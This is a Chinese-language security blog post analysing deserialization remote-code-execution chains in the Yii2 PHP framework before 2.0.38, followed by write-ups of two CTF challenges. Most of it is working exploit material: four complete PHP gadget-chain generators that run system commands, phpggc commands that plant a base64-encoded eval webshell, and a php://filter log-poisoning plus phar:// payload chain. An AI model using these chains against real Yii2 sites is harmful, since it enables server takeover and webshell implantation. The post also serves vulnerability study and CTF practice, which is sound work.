简介
Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，Yii2 2.0.38之前的版本存在反序列化漏洞，程序在调用unserialize()时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架
Yii2＜2.0.38反序列化
安装：在 https://github.com/yiisoft/yii2/releases下载2.0.37的版本
然后在yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值，运行php yii serve，新建一个控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php
namespace app\controllers;
use yii\web\Controller;
class TestController extends Controller{
public function actionTest($name){
return unserialize($name);
}
}
就可以进行测试了
?r=test/test&name=
链一
链的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct()
{
// make sure cursor is closed
$this->reset();
}
跟进$this->reset();
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
这里的$this->_dataReader可控，并调用了close()方法，那么可以找到一个类不存在close()方法，但存在__call方法就可以调用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
这里的$method为close，$attributes为空，继续跟进format
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
跟进getFormatter
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
似曾相识的代码，laravel5.8某条链就出现过，这里$this->formatters可控，也就是$this->getFormatter($formatter)这这个可控，但是$arguments的值我们无法控制，值为空
到这里可以执行phpinfo了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace {
$a = new Faker\Generator(array('close'=>'phpinfo'));
$b = new yii\db\BatchQueryResult($a);
print(urlencode(serialize($b)));
}
但是我们想要rce的话，还要在yii2中已有的无参方法中进行挖掘
这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面两个都比较好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
return $this->prepareDataProvider();
}
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
这里的$this->checkAccess和$this->id都是我们可控的
所以直接构造就行了
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('close'=>array($c, 'run')));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链二
这个是yii2 2.0.37的另外一条链
起点和链一相同，是BatchQueryResult类的__destruct，然后是$this->_dataReader->close()，但是这里不找__call，我们去找存在close方法的类
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession
{
...
public function close()
{
if ($this->getIsActive()) {
// prepare writeCallback fields before session closes
$this->fields = $this->composeFields();
这里跟进$this->composeFields()
abstract class MultiFieldSession extends Session
{
protected function composeFields($id = null, $data = null)
{
$fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
这里$this->writeCallback可控，$this是一个对象，所以这里调phpinfo的话应该不行，不过可以续上链一的run方法（即那个无参的方法）
这里直接构造即可
<?php
namespace yii\db{
class BatchQueryResult{
private $_dataReader;
public function __construct($_dataReader) {
$this->_dataReader = $_dataReader;
}
}
}
namespace yii\web{
class DbSession{
public $writeCallback;
public function __construct($writeCallback) {
$this->writeCallback = $writeCallback;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new yii\web\DbSession(array($c, 'run'));
$a = new yii\db\BatchQueryResult($b);
print(urlencode(serialize($a)));
}
链三
我们可以在yii2 2.0.38的commit看到他加了一个__wakeup
这里限制了链一的起点BatchQueryResult无法使用，后面的__call的链没有被破坏，所以我们继续寻找一个__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct()
{
$this->stopProcess();
}
这里继续跟进stopProcess
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {
/** @var $process Process **/
if (!$process->isRunning()) {
continue;
}
这里的$this->processes可控，所以可以利用$process->isRunning()来进行触发__call
后面的利用就和链一相同了
<?php
namespace Codeception\Extension{
class RunProcess{
private $processes = [];
public function __construct($processes) {
$this->processes[] = $processes;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('isRunning'=>array($c, 'run')));
$a = new Codeception\Extension\RunProcess($b);
print(urlencode(serialize($a)));
}
链四
同样的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct()
{
foreach ($this->keys as $nsKey => $null) {
$this->clearAll($nsKey);
}
}
这里$nsKey可控，跟进clearAll
public function clearAll($nsKey)
{
if (array_key_exists($nsKey, $this->keys)) {
foreach ($this->keys[$nsKey] as $itemKey => $null) {
$this->clearKey($nsKey, $itemKey);
}
if (is_dir($this->path.'/'.$nsKey)) {
rmdir($this->path.'/'.$nsKey);
}
unset($this->keys[$nsKey]);
}
}
这里没有触发__call的地方，但是存在字符串的拼接，可以触发__toString
随便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString()
{
return $this->__dom__->saveXML();
}
同样用他去触发__call
<?php
namespace {
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys = [];
public function __construct($path,$keys) {
$this->path = $path;
$this->keys = $keys;
}
}
}
namespace Codeception\Util{
class XmlBuilder{
protected $__dom__;
public function __construct($__dom__) {
$this->__dom__ = $__dom__;
}
}
}
namespace Faker{
class Generator{
protected $formatters = array();
public function __construct($formatters) {
$this->formatters = $formatters;
}
}
}
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct($checkAccess,$id){
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
}
namespace {
$c = new yii\rest\CreateAction('system','whoami');
$b = new Faker\Generator(array('saveXML'=>array($c,'run')));
$a = new Codeception\Util\XmlBuilder($b);
$d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));
print(urlencode(serialize($d)));
}
phpggc
使用./phpggc -l yii2可以看到有两条yii2的链
可以使用如下命令快速得到链，-u指url编码
./phpggc Yii2/RCE1 system id -u
phpggc的链二的终点是一个eval，所以这里可以直接写shell，-b指base64编码
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF题目
[HMBCTF 2021]framework
把题目附件解压，看到html\controllers\SiteController.php
class SiteController extends Controller
{
public function actionAbout($message = 'Hello')
{
$data = base64_decode($message);
unserialize($data);
}
这里可以这样传参
?r=site/about&message=
拿链一打了一下，发现一下system等函数被ban
这里用phpggc yii2的链二写一个shell进去，然后用蚁剑的apache/mod绕disable，运行/readflag即可获取flag
[CISCN2021 Quals]filter
据说这是配置文件里面的重要内容，或许对你有用！！
'log' => [
'traceLevel' => YII_DEBUG ? 0 : 0,
'targets' => [
[
'class' => 'yii\log\FileTarget',
'levels' => ['error'],
'logVars' => [],
],
],
],
看到附件的SiteController.php就改了这个地方
public function actionIndex()
{
$file = Yii::$app->request->get('file');
$res = file_get_contents($file);
file_put_contents($file,$res);
return $this->render('index');
}
yii框架的runtime/logs目录下有一个app.log
看一下依赖发现monolog符合
"require": {
"php": ">=5.6.0",
"yiisoft/yii2": "~2.0.14",
"yiisoft/yii2-bootstrap": "~2.0.0",
"yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0",
"monolog/monolog":"1.19"
},
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
写入日志，注意最后面要加个字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=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保留phar的内容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar协议打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目录找到This_is_flaaagggg
然后用这个找一下flag即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相关实验：PHP反序列化漏洞实验（通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
来源：freebuf.com 2021-06-18 09:13:52 by: 合天智汇
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